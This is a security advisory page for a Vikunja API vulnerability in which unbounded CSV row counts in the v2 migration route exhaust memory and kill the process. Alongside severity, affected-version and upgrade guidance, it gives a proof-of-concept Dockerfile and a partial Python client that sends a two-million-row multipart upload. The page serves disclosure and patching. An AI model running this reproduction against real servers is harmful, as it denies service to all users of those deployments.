Vikunja: Unbounded CSV row cardinality permits API process termination
CVE-2026-91969 · GHSA-pqf9-h8g4-8gmh · GO-2026-6746 · published 9 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-91969?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
code.vikunja.io/api(Go) = 2.5.0
How to check
- Run
go list -m code.vikunja.io/apiin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
code.vikunja.io/apito 2.6.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
# Unbounded CSV row cardinality permits API process termination
## Summary
The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.
## Impact and affected scope
- **Type:** Resource Exhaustion Csv Import
- **Affected component:** POST /api/v2/migration/csv/migrate
- **Preconditions:** An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration.
- **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026
- **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested
A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit.
## Technical details
csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification.
Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows.
Relevant code:
- `pkg/routes/api/v2/migration_csv.go:96`
- `pkg/routes/api/v2/migration_csv.go:164`
- `pkg/modules/migration/csv/csv.go:281`
- `pkg/modules/migration/csv/csv.go:298`
- `pkg/modules/migration/csv/csv.go:590`
- `pkg/modules/migration/csv/csv.go:605`
- `pkg/modules/migration/csv/csv.go:627`
- `pkg/modules/migration/csv/csv.go:643`
- `pkg/modules/migration/csv/csv.go:655`
## Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create `reproduction/Dockerfile`:
```text
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.
```
Create `reproduction/client.py`:
```python
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.request
import uuid
BASE = "http://target:3456"
def json_request(method, path, body=None, token=None, expected=None):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=30) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method} {path}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
def wait_ready():
for _ in range(240):
try:
if json_request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("target did not become ready")
def register_and_login(username):
password = "PoC-password-123!"
json_request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
return login["token"]
def migrate(token, csv_data, config, expect_response):
boundary = "----PoC-" + uuid.uuid4().hex
body = (
f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode()
+ f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode()
+ csv_data
+ f"\r\n--{boundary}--\r\n".encode()
)
print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True)
req = urllib.request.Request(
BASE + "/api/v2/migration/csv/migrate",
data=body,
headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=90) as response:
status, data = response.status, response.read()
print(f"POST migrate -> {status} {data[:200]!r}", flush=True)
if expect_response and status != 200:
raise RuntimeError(f"control returned {status}, expected 200")
if not expect_response:
raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
except urllib.error.HTTPError as exc:
data = exc.read()
print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True)
if expect_response:
raise
raise RuntimeError(f"attack was rejected with HTTP {exc.code}; process did not terminate")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
if expect_response:
raise
print(f"PoC_CSV_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
def main():
…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/go-vikunja/vikunja/security/advisories/GHSA-pqf9-h8g4-8gmh
- nvd.nist.gov/vuln/detail/CVE-2026-91969
- github.com/go-vikunja/vikunja/pull/3688
- github.com/go-vikunja/vikunja/releases/tag/v2.6.0
- www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-csv-migration
- github.com/advisories/GHSA-pqf9-h8g4-8gmh
- github.com/go-vikunja/vikunja
Merged from GitHub Advisory Database, OSV. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON